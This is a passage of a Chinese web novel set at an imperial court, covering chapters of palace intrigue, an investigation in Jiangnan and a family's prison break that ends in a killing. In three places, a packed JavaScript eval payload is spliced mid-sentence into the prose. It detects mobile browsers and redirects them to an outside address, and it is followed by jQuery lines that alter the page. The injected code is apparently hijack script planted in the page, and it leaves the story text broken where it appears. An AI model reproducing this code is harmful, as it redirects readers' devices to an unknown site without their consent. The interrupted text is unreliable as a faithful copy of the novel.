“宜春家刚有人来过,你知道他们还问我什么了吗,朱窅絜是不是死了?”滕王火道:“我,我真是,怎么就能这样拎不清,他们还真想跟伯父家撕破脸,把宜春嫁到朱家去啊?说句诛心的,他们若真过不去这个坎还不如让宜春死了干净。 现在装得多疼爱宜春,过几年落魄了还能不把怨气撒宜春头上,他们能对宜春好到底吗?谁还看不出来,休说那些兄弟,那爹娘恐怕都未必了。” 晏霁之端瓷盅饮参汤。 小厮在门槛前禀告,蔡老爷求见,滕王看他眼,允了,小厮退下去请人。 蔡老爷四十多岁的年纪,满面笑意的进屋来,俯身作揖给钦差赔罪,小女不懂事冲撞二位钦差了,又送上一点心意略表歉意,是两对质地上佳的玉璧。滕王把礼接过来,看两眼,这种礼不收反而是不给脸,虽然他们不给这脸面也没什么但犯不着多事。 滕王将玉璧举高照着太阳光瞧瞧再递给晏霁之,晏霁之也拿起看了看,淡淡道:“王爷只是说个猜测,若非有心人,否则应该不会有人猜是因你女儿之故。” 蔡老爷拜谢过,他还没告辞呢,姚姑娘拉着蔡藕菩跑来,伶俐俏皮,看见蔡老爷还没走更高兴了,问过钦差的伤势后欢喜藏不住,问我能不能给钦差你做个红娘? 滕王:“……”不是他想的那样吧。 蔡藕菩:“……”拉着我说这种话是什么意思? 蔡老爷心中一怔,晏霁之脸有点难看,姚姑娘忙摆手保证:“不是给你说媳妇,我们知道钦差家世好,不敢肖想,只是想给你说个外室。” 滕王&蔡藕菩:“……” 姚姑娘妙语连珠:“就是我身边这位蔡姐姐,她应该比你小个四五岁吧,她不想嫁人,你也不住江南,这不正好,她给你做外室,仍然住自家,你若来江南也有个贴心人照顾你,还能年年给你送银两,怎么算,你们俩都划算,蔡叔叔说是吧?” 蔡老爷干笑,蔡藕菩料想这钦差应该没想法吧,谁给姚姑娘出的这种主意啊,是哪个想看她的笑话?但眼下钦差不发话,他们不好驳斥否则容易得罪人。 滕王抓把桂圆看戏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459361|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏霁之看向蔡老爷,说:“还是有有心人的。” 蔡老爷背一凉,姚家?姚姑娘不知,但给姚姑娘出这主意的人一定是有猜测了。 “小丫头自己的亲事还没落定呢倒学会乱牵红线了,好了好了,不打扰钦差休息了。”蔡老爷把两个姑娘拽走,滕王还没跟晏霁之吐槽呢,晏霁之交代:“去把你大外甥藏起来,朱芑适要下杀手给咱们找点麻烦了,若被他得手,累死你。” 滕王一个激灵往外跑,瞬间又跑回来:“藏哪里呀?” “地窖!” “哦哦哦我这就去。”滕王阵风似的跑掉。 姚伉恢进门,发现晏霁之正等着他,他走到滕王刚坐的位置坐,心照不宣他刚在屋外,赞道:“能想防范朱芑适会这么给你们找麻烦,晏霁之果然滴水不漏。” “是不难猜,那天夜里其他商户都走了就这姑娘还留着,留个心思就该猜到了,只不过滕王的试探不会让陆兼多想。”晏霁之道:“姚家屈居在陆家之下,看来不满已久。” “……”你不要血口喷人啊,姚伉恢反斥:“我没有那种想法,我只是留意了下而已,滕王不像会多想,你不会多扯事端,除非有人向钦差多嘴了,那些话可轻可重,可一笑置之也能让蔡家遭大祸,我若有坏心,我早已告诉陆兼了。” “众志成城?”晏霁之笑:“你们众志成城,钦差执迷不悟,你以为如何?” “晏霁之当然能将我们击个七零八碎,小姑娘不懂事,没见识过翻云覆雨的厉害,但,何必呢?”姚伉恢拿起公文看遍,摆他面前:“你还能有几天,陛下绝不会容昌隆侯活着,你很清楚你没几个月了,你若急于求成闹到大家撕破脸对你真有好处吗? 一时风头无两只能是一时,陆兼给你放烟花也不全是没有好心,你总不想只闪耀一时。我可以说服陆兼,我们再出一笔凑成五百万贯,五百万贯足够你交差了。” “宁可给我五百万贯也不肯跟我还价?”晏霁之冷下脸冷笑:“出来!” 躲在屋外的蔡藕菩差点哆嗦,这钦差忒敏锐啊,移步出来:“我,我就是,” “就是没想到祸从口出。”姚伉恢温笑道:“这下知道了吧?” 蔡姑娘点头,突然一人从圆柱后僵硬地直直倒出来,在她面前几步,蔡藕菩差点僵硬。姚伉恢霍然转头看去,拾恨提剑走出,行过礼退下,姚伉恢快步过去检查,没查出有可疑的身份痕迹,看向这蔡姑娘,蔡藕菩连忙告辞,跑远了,心还咚咚跳。 这是真的又有活生生的刺杀? “会是谁?”屋中,姚伉恢怀疑:“不可能还是代王府吧?” 晏霁之沉吟,没有多议论,姚伉恢沉默下告辞,晏霁之拦道:“你比陆兼有抱负吧,我甚至愿意相信陆兼一样有着为国为民的抱负,你当清楚,当前,盛世之下,危机已现,朝廷若没有作为,你告诉我,再过几代将贫者无立锥之地?” “贫者无立锥之地?!”晏霁之气冲牛斗:“再往后,是什么?” 姚伉恢心头一闷,握拳头想走,腿没能迈出,烦道:“就算我愿意谈,怎么谈?这是我一家之事、是一地之事吗?牵一发而动全身,若涉及天下,还能为之吗?” 姚伉恢反瞪他,挣扎偃旗息鼓:“你一人对抗不了天下,当今也不会再向着你。” 晏霁之炯然注视他。 姚伉恢自嘲:“霁之,盛世之下,何必逆水行舟?” 晏霁之转眸看向落在地砖的几滴血:“醉生梦死,生,死乎?” 170. 第170章 重阳佳节,太微宫坐落在叠翠流金。 太上皇将在京中的儿女以及在邻县暂代县令的湘王都喊来太微宫过重阳,除了晋王。 这样醒目的落下晋王,兄弟姐妹们都没多言,六岁多的乐阳把她编的金鱼结给父皇看,太上皇瞥了眼,看向小女儿,注视过,抬手摸摸幼女的头,和蔼浅笑。 崇孝长公主给父皇敬酒送礼,湘王瞟瞟魏王,哼,小妹都能做她孙女了,这大姐还想跟小妹争宠。乐邑低头喝燕窝羹,一形如疯妇的女子突兀闯入,殿中的宫人们大惊,是侯瞻渥刚和离的前妻,假冒霍桑柔的那位,她神情激怒,面目狠厉扭曲。 极短的互相对望过,她狂冲向太上皇,在宫人抓住她之前,飞奔而来的数名神策军将她堵住嘴巴拖去殿外,顾统领跪地请罪。 皇帝嬴忱璧看过太上皇父亲,吩咐道:“今日重阳,省得你们搅扰圣人的雅兴,就从轻发落,饿她三天吧。” 顾统领领命退下。 乐邑长公主走去父皇面前,说,殿里有些闷了,他们陪父皇去游湖赏花吧。 刚看向胞弟魏王的崇孝一噎,十五岁的吴王睨向八哥,湘王再哼,刚还和小妹争宠呢,父皇受惊吓,第一时间居然是看向魏王,还怕父皇看不懂她可没多少关怀父皇。 太上皇应允,乐邑忙笑着让小弟和小妹过来陪父皇走在前,吴王犹豫下陪爹走第一排吧还能看顾小妹。皇帝嬴忱璧率魏王和崇孝、乐邑和湘王走在第二排,不远不近的跟着老父,魏王瞥过眼嬴忱璧,笑侃:“你不陪着走在爹身边,不怕父皇多想啊?” 这是太上皇该颐养天年享天伦之乐了才小孩围着他呢。 皇帝未语,乐邑向魏王问明白,不禁懊恼。 “是鞠太妃吧?”魏王猜测,嬴忱璧嗯,湘王质疑:“就算是郢国公和鞠太妃安排的,这些内侍和侍卫不要命了怎么竟然还能放她跑前殿来?” “父皇默许的。”嬴忱璧说:“父皇想看看郢国公是有多狂。” 乐邑不解:“鞠家作甚要费这点心思?让侯瞻渥心疼,可这跟鞠家有什么关系?” 魏王道:“霍家和鞠家还有笔血债,郢国公怕霍家要报仇了,想把水搅浑。” 乐邑恍然。 太微宫的重阳宴在未时结束,乐邑回薛家就被婆婆拉着问情况,晋王妃都回娘家哭了。 乐邑说没事,父皇想他们了,召儿女们聚聚,平原不满:“没事,和儿女聚聚?没什么事只是和儿女们聚聚怎么就能把晋王落下,你父皇做这么明显还不是在针对晋王?” 乐邑不说话了,平原大长公主被气得烦得,暂先去安抚女儿。 夕阳飘红,又有太微宫的小太监赶去皇城传圣人口谕,圣人念起太妃们住得不甚开阔,洛阳行宫虽有几年未住了好在宽敞,要送三十位太妃去洛阳,明早启程。 嬴忱璧走进关雎宫,得知贵妃在寝殿,翁嫔还陪着四皇子,贵妃允翁嫔用过晚膳再走。 皇帝遂吩咐让翁嫔不必来请安了。嬴忱璧去到贵妃寝殿,看贵妃呆呆望着风铃,皇帝将贵妃怀抱的软枕拿走,笑问:“贵妃刚陪太后回来怎么还不开心了?” 他们本来要陪太后用晚膳的,太上皇的口谕一到,太后要忙着安排三十个太妃去洛阳,没空了就让贵妃回来吧,皇帝也不必过去了。 “明天,会有几位太妃去洛阳?”霍灵渠反问。 “皇城这边三十位,太微宫应该还有十位,四十个吧,贵妃就在想这个?”皇帝不信,霍灵渠牵牵唇:“她们还能有命过今年的年三十吗?” 嬴忱璧眼神一闪,懂了,贵妃是看懂了的。 “圣人应该就是想试一试,她们规矩,当然命还长着。” “若是有一两个起了点什么心思是不是全得死?”霍灵渠看向他。 嬴忱璧垂眸,没有作声,霍灵渠再问:“他今天喊你们去太微宫是想看你们像不像他,有没有一个一点不像他,蜀王和六哥哥都得被传回来再让他看一看吧?” 皇帝仍旧未语。 “是前些天的雨天吧?”霍灵渠低低寥落,嬴忱璧应:“是。” 霍灵渠看她的风铃,独立斜阳,分外孤单。 日落,家家灯火照夜空,在阖家欢的祝念里,侯家尤冷。 侯瞻渥避着他娘躲在石阶前,星光零碎像给他披着层薄霜,他蜷缩着,酸涩难受,家里怎么就变成这样了? 小厮在旁劝慰:“四爷您就带四奶奶出门散散心,去找大姑奶奶,大长公主不都愿意的,府里不和睦,您在家里看着难受,还不如出门去走走。” 侯瞻渥不理会,小厮待要再劝,侯瞻逊道:“四弟走吧。” “大哥?”侯瞻渥见着长兄,惊诧了,大哥才回来,回家就和爹闹得不可开交。 “四弟走吧,若非你三哥还在牢狱,娘身边不能没有个担事的,我都想走,但你若不带媳妇避开恐怕四弟妹真要没命了。”侯瞻逊语重心长:“放心吧。 有大哥在,不必牵挂家里,你就带着媳妇去找你大姐,避过风头就好了,弟妹是圣人的亲女儿,霍家能闹得圣人狠心一回还能有第二回吗?等这个事过了,你们回来,霍家若还要不依不饶,圣人只会向着你们,恢复弟妹的公主身份也未尝不可能。” “可是——”侯瞻渥犹豫想退缩,他,他没什么心情了。 “毋需担心,大哥帮你,这两天你们就走。”侯瞻逊一锤定音。 天边黎明出,皇家卫队护送,一辆辆马车驶出京城,楚太太在路旁观看过,奔去皇宫,太妃们前景堪忧至少都还有皇家体面在,她女儿呢,这女儿在想些什么呀? 楚太太进宫探望楚美人,而在少关注的不起眼处,晏明妧一顶小轿入代王府。 京中,大家唯独都看见的是,晋王去了芮家。 芮尚书老家消息传来,芮尚书这两天就在疯狂参奏晏霁之。 皇帝嬴忱璧面对着霍贵妃派来请他用膳的小太监,真想打发了说没空,只是最终,皇帝还是灰溜溜去关雎宫,一进殿,皇帝就感受到霍贵妃的严阵以待想对他发难。 “陛下早知霁之遭遇伏击受伤了吧,故意瞒着我?” 霍灵渠摇着拨浪鼓逗小婴儿,没看皇帝,这温婉恬笑的模样,嬴忱璧只觉得贵妃吓人,皇帝拉拉孩儿的小手,装作不跟贵妃计较:“就是点皮肉伤,休养几天就能好。” “他是个习武之人又不是手无缚鸡之力。”嬴忱璧没忍住,酸溜溜的,霍灵渠瞪向他,皇帝振奋道:“贵妃又怎知晏霁之受伤了?”哪个姓霍的在多嘴? “你妹妹告诉我的。”霍灵渠说,嬴忱璧:“……”好吧他忘了,乐邑今早进宫了。 “臣妾敢问陛下,可有怀疑之人?”霍灵渠把拨浪鼓塞皇帝手里,小婴儿挥舞小手追,嬴忱璧看这拨浪鼓再看看孩儿,把拨浪鼓搁在一边,小婴儿找不到好玩的,委屈的哭起来,皇帝有经验的撤出三尺远,霍灵渠真想拿拨浪鼓丢他。 霍灵渠消消气,哄小婴儿不哭,嬴忱璧默默返回来,霍灵渠踹他一脚。 “晏霁之自己猜是代王府。”贵妃把皇儿哄好了,嬴忱璧拿出丝绢给贵妃看:“代王世子在上个月他和晏明妧被捉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459362|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的下午就离京了,昨夜才回京,朕想也是代王府。霁之没事,都在闹着朕给他反击了,这是他画的图,要朕把代王府的宝库给夺了。” “代王在陈州有个宝库。”嬴忱璧笑:“代王没有四十年也积攒三十年的宝贝了。” “真简易。”霍灵渠评价。 “是啊,他可真相信朕能找出来。”嬴忱璧抬手抚抚孩儿的小脸。 霍灵渠沉默下,说:“晏明妧今早进代王府做小了。” 皇帝淡漠:“朕想,英王都不意外吧,就像升平能同意让侯瞻渥去太微宫劫狱,离京,说白了,就一点,心气儿高。” 嬴忱璧看孩儿要睡了,拿条毯子给孩儿盖。 霍海啸送信来,晏霁之的信,晏霁之在金陵查证了,金陵府尹在铸造假~币。 嬴忱璧和贵妃刚用过午膳,皇帝阅罢信笺,眼底一厉:“朕竟没想过这茬。” 霍灵渠拿信看,掩唇,差点说出来,霁之没受伤啊。 “贵妃,朕要即刻去太微宫。”嬴忱璧说,霍灵渠把信给皇帝。 嬴忱璧拿信带霍海啸走,霍灵渠慢步走到殿前,遥望蓝天,她都觉得他好忙啊。 入夜,霍灵渠再派小太监请皇帝来关雎宫。 宫灯璀璨,在秋凉夜筑起赏心的温暖。 嬴忱璧进屋,看给他的地铺已经铺好,孩儿盖条小被独自睡在床帐里,贵妃倚在美人榻假寐。 嬴忱璧在心里冷哼,有本事别让他打地铺呀,皇帝没有被贵妃的雕虫小技迷惑:“贵妃多管闲事不怕适得其反吗?” 不就是为芮尚书参奏晏霁之嘛,哼! 霍灵渠假装醒来,将参汤呈给皇帝,微笑道:“小厨房煲了两个时辰的,陛下尝尝。”待皇帝接过,又道:“楚美人的娘亲和姐姐今天进宫,午膳都没用,就出宫了。” 嬴忱璧心说她可以再假点,但,受用啊:“朕知道,贵妃不必顾左右而言他。” “你会和至亲闹翻吗?”霍灵渠如他所愿。 意识到自己大意轻敌的皇帝放下参汤,走去床边,静静看着还在襁褓的孩儿。 “太上皇是想留下朱家一脉、两脉乃至更多,只要是与朱存焳这脉不和,能够与朱存焳决裂的朱家人都不牵涉,但,可能吗?你和你爹没想将昌隆侯用尽,何必让他造反?” 霍灵渠诛心:“边境两线作战,国内烽烟四起,嬴氏皇族会没有亡国之险,你不是在拿社稷押注?若不然霁之在江南何至处处受阻,不就是这个局势让他们笃定皇帝不会想打仗,昌隆侯一造反,你就会让他死,可你这样兴师动众怎会只为扑灭朱家? 待明年你清算时已经死多少人,朱家还能保得住?太上皇必定明白了,他刚开始放弃昌隆侯时没明白过来,这会儿若还没明白就真是老糊涂了,朱家倾覆,他的外祖家没了,芮家还能留得住吗?晋王去找芮尚书了,芮家要走在朱家前头的吧。” 嬴忱璧侧过头闭闭眼睛。 “你比谁都清楚,眼下已经可以看明年了,再过一年,该是你和你爹决战了。其实,你没什么闲工夫自怨自艾。”语毕,霍灵渠把小婴儿抱起来放在摇篮床。 “贵妃觉得楚美人可笑吗?”皇帝问。 霍灵渠抬眸,在灯火斑斓,惊艳,酿成岁月的温情:“倘若她相信她的坚持是正确的,她不为她的坚持所苦所累,若能重新抉择,她仍然会坚持而不是苦涩悲凉寄希望于他人,纵使众叛亲离都值得,因为她的信念有力量足以让她幸福圆满,人生值得。” 嬴忱璧眉目盈盈若笑,今夜,灯火斑斓,很温暖。 171. 第171章 旭日照耀太极殿,早朝,皇帝整治北境走私,所有人都明白皇帝会第一个拿朱家开刀,大狱里一众死囚的斩首日子也落定了,明天。 将将晌午,嬴忱璧收到个禀告:恒山王府走水了,不过火势很小,一间屋都没有烧掉。 忙碌两个多时辰的皇帝舒缓下,摆驾关雎宫,去陪贵妃用午膳。 “或许是他发脾气不慎打到蜡烛燃起了点火苗星子。”皇帝怀疑恒山王府怎么会着火,霍灵渠思量道:“你整治北境走私又要妨碍他发财嘛。” 嬴忱璧想捏把眉心,略过道:“贵妃明天想出宫吗?” 霍灵渠微怔,懂这意思,她沉默过,言不知道,陛下若想带她,她就跟着吧。 “其实,朕出宫意在嬴隐鹤。”嬴忱璧拿起拨浪鼓逗逗孩儿。 “嗯?”霍灵渠没懂,嬴忱璧讽刺:“老穆国公曾与朕言,朕宽恕嬴隐鹤的罪过,嬴隐鹤不思感恩反而想算计贵妃本意更是冲着朕,他敢不敢想弑君?” 霍灵渠诧然:“他……” “对!”嬴忱璧恭维道:“昌隆侯夫人在京中时曾建议他,皇帝不会容他活命,他难道不想先下手为强?朱家不在意他嫁祸给朱家,只要他敢做。” 霍灵渠低叹,按住拨浪鼓,抓朵彩绸花给小婴儿。 嬴忱璧心念动圈住贵妃,霍灵渠注目皇帝,嬴忱璧装若无其事,耳根微微红了。 “嬴隐鹤看朕之前携贵妃出宫察看京畿附近的收成,他觉得想引皇帝出宫不难,近来抓耳挠腮就在想怎样将朕引出宫,可笑的是,他都没有告诉代王。” 啊?霍灵渠不解,嬴忱璧道:“就是贵妃听到的,代王不知道。” “陛下是说,嬴隐鹤觉得只要将皇帝引出宫,他就能成功了?”霍灵渠忍住不自在,将绸花拿掉,哄小婴儿午睡。 嬴忱璧眼眸柔和,应道:“是啊,朕也是服气的,大概是朕登基前四年给人的感觉太默默无闻了,以致连朕的禁军都不被看在眼里。” “还是帝王梦作祟吧。”霍灵渠感悟。 嬴忱璧看向贵妃,霍灵渠揣度道:“一来,代王府下意识的就不愿意把你们这支看在眼里;二来,嬴隐鹤很清楚若是告诉他爹,他爹绝不会同意;三来,若是他事成后告诉他爹,还能不被父亲看重?待到他们那一支崛起,他想取代嫡长兄指日可待。” 嬴忱璧咂摸下,笑了:“好,朕明日出宫,嬴隐鹤若胆敢行刺,朕就再帮晏霁之一把。”话音未尽,霍灵渠注视皇帝,嬴忱璧启唇补出:“把嬴隐鹤的首级送给代王。” 霍灵渠默下,把小婴儿给他爹,自去倒杯茶。 皇帝耐心不错地抱着孩儿,看孩儿慢慢睡着了,嬴忱璧把孩儿放在摇篮床里。 “大概会是今夜,侯瞻渥要劫狱了。”嬴忱璧告知贵妃。 霍灵渠握茶盅的手微滞,将茶水饮尽。 枯叶掉落树枝,白昼在逐渐深重的凉意里流逝,三更夜,街上安静的犬吠都没有,侯瞻逊戴着斗笠,驾着马车在深夜里疾驰。侯瞻渥抱宝剑挨在大哥身边,像刚跑过一二十里地,手脚发凉浑身发热,热得血都像在滚沸,热得脑子像在煮浆糊。 疾驰的骏马猛地高高跃起,一队人举着火把在前方拦住他们的去路。 侯瞻逊收缰绳,险险稳住马车,侯瞻渥和马车里的人险些摔了,大概二三十人拦路,领队的人走出来,是武襄侯传爵位的侄儿,侯瞻逊的堂弟,侯瞻渥的堂哥。 “瞻渥,你要做什么?” 侯瞻渥心里发虚,慌乱不敢应对,侯瞻逊撞他,侯瞻渥拔剑指向堂兄,武襄侯世子道:“好,我们打一场,你输了,你就不要闹了,把车里的人送回太微宫。” “若是你输,你能让路放行吗?”侯瞻渥拿出点气势对呛。 “不能,除非你从我的尸体上踏过去。”武襄侯世子撂话,侯瞻渥还在犹豫被推下车,侯瞻渥只好拔剑跟堂兄过招,侯瞻逊压低斗笠下车,下刻,侯瞻渥被撂倒,摔在地上,侯瞻逊看得想翻白眼,武襄侯世子收剑,越过堂弟,去查看马车。 侯瞻逊看准时机踹侯瞻渥,侯瞻渥抓着剑站起来,刚想再出招,一股巨大的推力撞来,他被大力推得举着剑直直刺向堂兄,武襄侯世子察觉有异转身,正中心脏。 不过刹那间的事,待侯瞻渥反应过来,懵了,武襄侯世子难以置信地看着这个堂弟,随行的护卫愣住了,只有扮成车夫的侯瞻逊当即上前推开这挡路的堂弟,抓起侯瞻渥扔上车,侯瞻渥不由自主的冷颤哆嗦还不能动脑子,侯瞻逊已驾着马车横冲直撞冲出去。 夜,乌云遮,街上的火把越来越多。 武襄侯世子殁了。 皇帝嬴忱璧宿在关雎宫,闻讯,皇帝披件披风走出内室,让步昂进殿来禀告。 “是侯瞻渥,武襄侯世子带人阻拦侯瞻渥,打斗时侯瞻渥偷袭,一剑刺中堂兄心脏。” “偷袭?”嬴忱璧沉吟:“谁帮侯瞻渥劫狱的?” 大统领低头:“是侯瞻逊。” 皇帝大略想明白了:“武襄侯知道了吗?” 大统领禀道:“已经赶过去了,升平大长公主也过去了,不少人都看见侯瞻渥杀堂兄,衙门已经发了通缉令,判定侯瞻渥死刑,升平大长公主昏厥还未醒。” 嬴忱璧摇头,让大统领退下吧,步昂告退。 皇帝往回走,恰遇上霍灵渠走出来,嬴忱璧忍不住牵贵妃的手,霍灵渠忍住。 “朕真有些意外,侯瞻逊回来,第一个居然是冲着亲弟。” “更是亲娘吧。”进到内室,霍灵渠甩掉皇帝的手,往攒盒里拿颗糖,体味道:“我想,纵使侯瞻逊比小弟年长二十岁都对亲娘的偏心很不是滋味吧,经年累月,未必没有恨。撇开他们搭上朱家可能会造成的后果不论,才几天,侯家已经变成什么样了? 何至于如此?是升平不管不顾一味溺爱幼子,是她不肯让侯瞻渥有一丁点不顺心。自己被夺去世子位,被罢官在家,在侯瞻逊看来可能还不及侯瞻渥不开心让亲娘牵挂,既如此,他就把侯瞻渥毁了,让侯瞻渥去死,让他觉得痛快。” 嬴忱璧嗯声,吃着糖,慢慢品味。 皇宫外,大长公主府。 武襄侯坐在夫人的榻前,似有审视又似只是静坐,等待黑夜散去,灯芯燃尽又换新蜡,窗前透出青色,破晓就在眼前时,侯夫人升平大长公主醒来,她醒来看见丈夫还有些迷糊,晕厥前的记忆太坏,坏到她根本不愿记得,然她还是直觉问:“渥儿呢?” “还在逃。”武襄侯说。 大长公主心中一个咯噔,记忆回拢,一下脸白了,忙让丈夫快去救孩子。 “他杀人了,许多人都看见他杀人了,杀了他的堂兄后潜逃。”武襄侯目光灼灼,升平大长公主接不了话只能一味让丈夫去救孩子,武襄侯道:“是瞻逊谋划的。” 升平不懂的怔愣,武襄侯还原道:“瞻渥很犹豫,是瞻逊替他做主,劫狱,也是瞻逊通知堂弟去阻拦,还是瞻逊在他们打斗时暗中出手才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459363|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会出此惨祸,都是瞻逊的谋划。” “怎,怎么会?”升平不能理解:“你查错了吧。” “你溺爱瞻渥,我从未说过什么,你自己的孩子,你想喜爱谁当然全凭你心意。贵妃曾言你溺爱瞻渥是在溺爱放纵自己,你想补偿自己,其实也未有不可。”武襄侯咬字很重,每个字都像系着千斤锤:“你们十个姐妹,都说你的脾性最好。 今时我才知,是你的心性最坏。你想随心所欲,你不愿意有一丝一毫的不顺心,你想要君王都顺着你捧着你、所有你想要的就要得到,你比你的五妹还不如,她坏,她毫不掩饰,所有人都知道她有多糟糕,而你,你才是最阴损的。” 语毕,武襄侯大步往外走。 升平发懵会儿打个激灵,狂喊人进来,没人应,她想下床不慎摔出去,两个女儿进来,大儿子也来了,她不看大儿子只抓着女儿们喊:“把你们二哥喊回来,快让你们二哥回来,救弟弟,快救弟弟!一定不能让瞻渥有事,快去救弟弟……” 侯瞻逊邋遢着脸,满目讥诮。 一夜闹得许多人不安宁,霍巨浪看着侯家的热闹都想说,霍家地窖都省了。 霍擎想把这对患难鸳鸯关半月,让霍海啸去向圣人和陛下报备。 霍巨浪去了监牢看侯瞻让。 侯瞻让连对霍海啸都无视了,何况对霍巨浪,霍巨浪把昨夜的事相告,侯瞻让懵了。 “你不信,可以向你大哥求证,你大哥应该很乐意告诉你。” 侯瞻让脑门冒金星,甚至有些头疼。 “你娘要让你二哥回来救侯瞻渥,我看她不把你二哥毁掉怕都不能消停,你觉得呢?”霍巨浪好笑,侯瞻让置若罔闻,霍巨浪讥诮:“你这会儿是在牢里好呢还是不在牢里好,假若你没有蹲大牢,你娘必要抓着你不放,不把你毁掉不罢休,你还是要进来的。” 侯瞻让冷面相对,满脸不耐烦。 霍巨浪直击:“你已废,侯瞻渥若没得救,你娘做不做得出让你替侯瞻渥去死?” 侯瞻让定住。 霍巨浪走掉,侯瞻让心底里发寒,不可遏止的眼睛里闪出泪花。 铁窗之外艳阳高悬,烈烈日晖尽扫秋凉,午时了,法场前围观的百姓成百上千。 柴家,佟家……一批批死囚犯斩首,晏明绾带着生母在人群中亲眼看过钟姨娘被砍头,她带生母离去,明天就回杭州,对生母说:“您今后当只有我一个女儿吧。” 五十岁的贾姨娘心颤颤的疼,泪水在眼眶里打转却掉不下来。 反观看过柴家人伏法的包家兄妹,包蜜果高兴道:“大哥,我们去塞北找爹娘吧。” 包十病摸摸妹妹的头,眼底一样溢满笑:“嗯。” 刑场上,该轮到郗家了,郗猷癫笑,郗意仰头,最后看一次天空。 天,好高啊。 皇帝嬴忱璧在法场前驻留至所有死囚伏诛,皇帝有带贵妃出宫,但没有带贵妃来法场,而是将贵妃送去谷王府陪两个皇子。 谷王府中,霍灵渠教两个小孩折纸船,又捡几片枫叶,将泛黄的枫叶放入纸船,将纸船放在水池,划拨池水让纸船飘荡。 三岁小孩跑进屋把在重阳得的花灯拿给霍贵妃看,二皇子犹豫,没动。 霍灵渠对小孩笑,拉过两个小孩,望向高邈浩远的天际:“大雁要飞去南方了。” 小孩自然问:“为什么?” 霍灵渠语轻轻,眷着想念:“再有一个月,就要立冬了。” 172. 第172章 吴兴之危是这样结束的,百姓们,老百姓们将逆贼抓获,迎朝廷来的大人入城。 滕王在忙着晏霁之在府衙遇刺的案子,无暇他顾,霍雄鹰来了,他才知。 “你们早都想好了,让老百姓们出面?” “不然呢?”晏霁之低眸望着手里的信,滕王看他魂快被吸走了,一定是霍贵妃的信,霍雄鹰往地窖溜达过一圈,进屋来,瞎嘚瑟:“听说你们近来有点惨呐。” 晏霁之没理会,霍雄鹰不满:“你看什么呢?”仍旧被无视,霍雄鹰上前去,晏霁之把信保护起来,霍雄鹰伸手:“还当什么宝贝,把信给我看。” “我若不给呢?”晏霁之逗逗他。 “我把你信撕了。”霍雄鹰大言不惭,滕王忍笑。 晏霁之等他这话呢:“是你贵妃姐姐的信。” 霍雄鹰:“……”啊啊! “把信给我!”霍雄鹰凶道:“我就不信我三姐姐还能给你写情书?!” 晏霁之把信给他,滕王凑过去,他俩反复看过,霍雄鹰怀疑:“就俩字啊?” “不然你三姐的亲笔信还能送到我手里?”晏霁之执起茶壶倒杯茶。 “这什么意思?”巢县,霍雄鹰想他三姐是跟晏霁之有暗语吗? “贵妃猜,朱芑适会把粮食放在巢县。”晏霁之心底漾起抹温柔,暖暖的。 霍雄鹰和滕王相互看看,滕王拧眉:“巢县,不会吧?” 晏霁之未语,霍雄鹰跳过道:“呃,对了,那个,滕王抓的三个人,就是前些天在府衙里刺杀你的那桩案子是郢国公在背后?溧水县令是郢国公的人,你想让我把他们三个押解回京,鞠家做什么要害你,你怎么会想到郢国公,你真有依据吗?” “把水搅浑,浑水才好摸鱼,鞠家和霍家还有笔血债也该要清算了。”晏霁之道:“他们和郗猷有一场针对霍家的连环计还没用过,他们想钦差死在江南、把这连环计重新提上来,若能压死霍家,最好,若不然也不能让鞠家就此被霍家打死。” 霍雄鹰把拳头捏得咯吱响,忽然挨一记后脑勺。 霍雄鹰刚要发作,眼前被摔下一个五花大绑的女人,霍雄鹰转头看见他叔祖,滕王看清被绑的女人是那位大表姐。 “她?”滕王忍住自己想去松绑的手:“她做什么了?” “想在待会儿宴会上把你们俩和我们几个姓霍的送上西天。”霍绥业说。 滕王:“……” 霍雄鹰飚高音:“什么?” 霍雄鹰要给这侯大姑奶奶补上几脚,滕王把人拽住,不解:“她为什么要下这种杀手,只因我们把她儿子抓了?” “又没人猜得到会是她,有现成的替罪羔羊呢。”霍绥业话落,晏霁之递封信给滕王,霍绥业冷嘲热讽:“烦啊,什么都不顺,又要着急赶回娘家,就玩把大的。” 滕王看着武襄侯府的近况咂舌:“我这大姑父……” 霍雄鹰凑近瞟几眼,又挨一脑门,霍绥业训道:“把她关地窖里去,记住了,把她和地窖里那三个看好了,不然你押他们四个回京的路上没准儿能反被他们害了。” “您放心吧!”霍雄鹰抓拳保证:“看我不天天给他们用大刑!” 霍雄鹰拎起侯大姑奶奶拖走,晏霁之把信笺收起来,小厮报金陵府尹来找钦差,滕王去应付那位表姐夫,霍绥业总感觉不对劲,人家可是想害死他,他这么轻描淡写的过了,不是他的作风啊! 霍绥业转转眼,去地窖帮霍雄鹰一把。 